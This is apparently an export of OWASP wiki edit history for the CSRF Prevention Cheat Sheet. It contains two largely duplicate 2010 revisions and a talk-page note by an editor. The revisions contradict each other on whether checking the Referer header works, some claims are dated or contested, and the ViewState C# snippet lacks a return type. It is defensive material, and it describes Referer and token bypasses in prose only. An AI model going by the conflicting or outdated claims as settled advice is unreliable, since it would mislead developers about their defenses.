In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Checking Referer Header ===&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass this method of CSRF protection.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87316</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87316"/>
				<updated>2010-08-04T19:10:43Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Created page with 'Checking Referer Header is used to patch the most dangerous CSRF vulnerability ever discovered (which was by me http://www.kb.cert.org/vuls/id/643049 Michael Brooks).   This arti…'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Checking Referer Header is used to patch the most dangerous CSRF vulnerability ever discovered (which was by me http://www.kb.cert.org/vuls/id/643049 Michael Brooks).   This article is incorrect and I am chaining it.  If you have a problem then you should contact me,  but as it stands I cannot allow this page to spread false information.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87315</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87315"/>
				<updated>2010-08-04T19:08:13Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Checking Referer Header'''&lt;br /&gt;
&lt;br /&gt;
An attacker can easily block the sending of the Referer header, and the HTTP RFC’s make it clear that this header is optional. Browsers also omit the Referer header when they are being used over SSL.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
